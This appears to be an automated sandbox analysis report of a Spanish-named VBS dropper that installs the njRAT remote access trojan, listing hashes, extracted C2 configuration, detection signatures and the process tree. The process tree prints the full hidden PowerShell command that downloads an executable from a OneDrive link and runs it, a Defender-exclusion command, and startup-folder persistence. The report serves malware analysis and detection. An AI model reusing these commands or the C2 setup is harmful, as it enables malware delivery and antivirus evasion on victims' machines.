Analysis
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max time kernel
150s -
max time network
148s -
platform
windows10_x64 -
resource
win10-en -
submitted
09-09-2021 16:21
Static task
static1
Behavioral task
behavioral1
Sample
Transaccion Aprobada.vbs
Resource
win7v20210408
General
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Target
Transaccion Aprobada.vbs
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Size
1KB
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MD5
45beeab3735b33386dc605d813ab1712
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SHA1
9570171eb0875939b3a9fd51710422036ca968a7
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SHA256
4df37056407ca0353e2357399ec8f2bd7583b6d10fc5d1d4f6744b9415a1ce2f
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SHA512
3b7077d939301d4708a8d41d27bfe0df8e4d703d07af8882e14b02b65dfde303b13f2a428c2911fe3d1eb086e05199bb791562e490ac28092fbd6f520102335e
Malware Config
Extracted
https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21130&authkey=AEqY-yNYbKJY9pM
Extracted
njrat
0.7NC
NYAN CAT
reald27.duckdns.org:3525
d58e514d83d54f2c
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reg_key
d58e514d83d54f2c
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splitter
@!#&^%$
Signatures
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suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 8 5112 powershell.exe 10 5112 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 2 IoCs
Processes:
Hostdyn.exeHostdyn.exepid process 4364 Hostdyn.exe 4604 Hostdyn.exe -
Drops startup file 2 IoCs
Processes:
WScript.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Transaccion Aprobada.vbs WScript.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Transaccion Aprobada.vbs WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Hostdyn.exedescription pid process target process PID 4364 set thread context of 4604 4364 Hostdyn.exe Hostdyn.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 5112 powershell.exe 5112 powershell.exe 5112 powershell.exe 4616 powershell.exe 4616 powershell.exe 4616 powershell.exe -
Suspicious use of AdjustPrivilegeToken 27 IoCs
Processes:
powershell.exepowershell.exeHostdyn.exedescription pid process Token: SeDebugPrivilege 5112 powershell.exe Token: SeDebugPrivilege 4616 powershell.exe Token: SeDebugPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe Token: 33 4604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 4604 Hostdyn.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.exepowershell.exeHostdyn.exedescription pid process target process PID 4656 wrote to memory of 5112 4656 WScript.exe powershell.exe PID 4656 wrote to memory of 5112 4656 WScript.exe powershell.exe PID 5112 wrote to memory of 4364 5112 powershell.exe Hostdyn.exe PID 5112 wrote to memory of 4364 5112 powershell.exe Hostdyn.exe PID 5112 wrote to memory of 4364 5112 powershell.exe Hostdyn.exe PID 4364 wrote to memory of 4616 4364 Hostdyn.exe powershell.exe PID 4364 wrote to memory of 4616 4364 Hostdyn.exe powershell.exe PID 4364 wrote to memory of 4616 4364 Hostdyn.exe powershell.exe PID 4364 wrote to memory of 4604 4364 Hostdyn.exe Hostdyn.exe PID 4364 wrote to memory of 4604 4364 Hostdyn.exe Hostdyn.exe PID 4364 wrote to memory of 4604 4364 Hostdyn.exe Hostdyn.exe PID 4364 wrote to memory of 4604 4364 Hostdyn.exe Hostdyn.exe PID 4364 wrote to memory of 4604 4364 Hostdyn.exe Hostdyn.exe PID 4364 wrote to memory of 4604 4364 Hostdyn.exe Hostdyn.exe PID 4364 wrote to memory of 4604 4364 Hostdyn.exe Hostdyn.exe PID 4364 wrote to memory of 4604 4364 Hostdyn.exe Hostdyn.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Transaccion Aprobada.vbs"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata( 'https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21130&authkey=AEqY-yNYbKJY9pM' ) -encoding byte -Path $env:appdata\Hostdyn.exe; Start-Process $env:appdata\Hostdyn.exe"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Hostdyn.exe"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Hostdyn.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\Hostdyn.exe"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
d75c6d552f39939a489d35979b652995
SHA11587fce2bd8bcc66bcfc2c5aaa5a762c15ba3431
SHA256a6d8d519427ad0bafd4328656c4717b84e7ff281b36b38e6350ad4c188beda5c
SHA512f32344b99d33e09b8c72390162411121c2cbb4143d80a27f05c777d33a1f919ff3dc36201d0639b903246e9789662f6b05faa4e181b3bebbafc41ab1e426883a
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C:\Users\Admin\AppData\Roaming\Hostdyn.exeMD5
c0f47cefd86e4f7001fc2ddb8f3e0c5d
SHA12b0fc1b8bad1b638a1798ada05e5c47c5c920cff
SHA25630657f9922b3a20543bd4de8638cbdba793bcda6ad307e61f3227dce43b705d0
SHA51255fa81a60bc5db3640cdfd59efcc2ee4d1545462af80722f9eec930ba4223c86a052d921ecf2496f35583801864d75f379a4766718b1ccc114ea95b4d68dc9f0
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C:\Users\Admin\AppData\Roaming\Hostdyn.exeMD5
c0f47cefd86e4f7001fc2ddb8f3e0c5d
SHA12b0fc1b8bad1b638a1798ada05e5c47c5c920cff
SHA25630657f9922b3a20543bd4de8638cbdba793bcda6ad307e61f3227dce43b705d0
SHA51255fa81a60bc5db3640cdfd59efcc2ee4d1545462af80722f9eec930ba4223c86a052d921ecf2496f35583801864d75f379a4766718b1ccc114ea95b4d68dc9f0
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C:\Users\Admin\AppData\Roaming\Hostdyn.exeMD5
c0f47cefd86e4f7001fc2ddb8f3e0c5d
SHA12b0fc1b8bad1b638a1798ada05e5c47c5c920cff
SHA25630657f9922b3a20543bd4de8638cbdba793bcda6ad307e61f3227dce43b705d0
SHA51255fa81a60bc5db3640cdfd59efcc2ee4d1545462af80722f9eec930ba4223c86a052d921ecf2496f35583801864d75f379a4766718b1ccc114ea95b4d68dc9f0
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memory/4364-157-0x0000000005E80000-0x0000000005E81000-memory.dmpFilesize
4KB
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memory/4364-151-0x0000000000000000-mapping.dmp
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memory/4364-164-0x0000000007700000-0x000000000770A000-memory.dmpFilesize
40KB
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memory/4364-155-0x0000000000F70000-0x0000000000F71000-memory.dmpFilesize
4KB
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memory/4364-158-0x0000000005A20000-0x0000000005A21000-memory.dmpFilesize
4KB
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memory/4364-159-0x00000000059A0000-0x00000000059A1000-memory.dmpFilesize
4KB
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memory/4364-160-0x0000000005980000-0x0000000005E7E000-memory.dmpFilesize
5.0MB
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memory/4364-161-0x0000000005DF0000-0x0000000005E06000-memory.dmpFilesize
88KB
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memory/4364-162-0x0000000007D80000-0x0000000007D81000-memory.dmpFilesize
4KB
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memory/4364-163-0x0000000007D10000-0x0000000007D4F000-memory.dmpFilesize
252KB
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memory/4604-166-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
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memory/4604-424-0x00000000050D0000-0x00000000055CE000-memory.dmpFilesize
5.0MB
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memory/4604-167-0x000000000040677E-mapping.dmp
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memory/4616-207-0x0000000009CF0000-0x0000000009CF1000-memory.dmpFilesize
4KB
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memory/4616-179-0x0000000007FA0000-0x0000000007FA1000-memory.dmpFilesize
4KB
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memory/4616-177-0x0000000004F50000-0x0000000004F51000-memory.dmpFilesize
4KB
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memory/4616-175-0x0000000004EF0000-0x0000000004EF1000-memory.dmpFilesize
4KB
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memory/4616-402-0x0000000009C90000-0x0000000009C91000-memory.dmpFilesize
4KB
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memory/4616-408-0x0000000009C80000-0x0000000009C81000-memory.dmpFilesize
4KB
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memory/4616-277-0x0000000004F53000-0x0000000004F54000-memory.dmpFilesize
4KB
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memory/4616-165-0x0000000000000000-mapping.dmp
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memory/4616-178-0x0000000004F52000-0x0000000004F53000-memory.dmpFilesize
4KB
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memory/4616-176-0x0000000007930000-0x0000000007931000-memory.dmpFilesize
4KB
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memory/4616-180-0x0000000008040000-0x0000000008041000-memory.dmpFilesize
4KB
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memory/4616-181-0x0000000008300000-0x0000000008301000-memory.dmpFilesize
4KB
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memory/4616-182-0x0000000008370000-0x0000000008371000-memory.dmpFilesize
4KB
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memory/4616-276-0x000000007ED80000-0x000000007ED81000-memory.dmpFilesize
4KB
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memory/4616-184-0x00000000082D0000-0x00000000082D1000-memory.dmpFilesize
4KB
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memory/4616-185-0x0000000008B60000-0x0000000008B61000-memory.dmpFilesize
4KB
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memory/4616-186-0x0000000008A10000-0x0000000008A11000-memory.dmpFilesize
4KB
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memory/4616-194-0x00000000097C0000-0x00000000097F3000-memory.dmpFilesize
204KB
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memory/4616-201-0x00000000097A0000-0x00000000097A1000-memory.dmpFilesize
4KB
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memory/4616-206-0x0000000009B30000-0x0000000009B31000-memory.dmpFilesize
4KB
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memory/5112-132-0x00000249CB4B0000-0x00000249CB4B2000-memory.dmpFilesize
8KB
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memory/5112-121-0x00000249CCFE0000-0x00000249CCFE1000-memory.dmpFilesize
4KB
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memory/5112-134-0x00000249CB4B6000-0x00000249CB4B8000-memory.dmpFilesize
8KB
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memory/5112-126-0x00000249E5F60000-0x00000249E5F61000-memory.dmpFilesize
4KB
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memory/5112-115-0x0000000000000000-mapping.dmp
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memory/5112-133-0x00000249CB4B3000-0x00000249CB4B5000-memory.dmpFilesize
8KB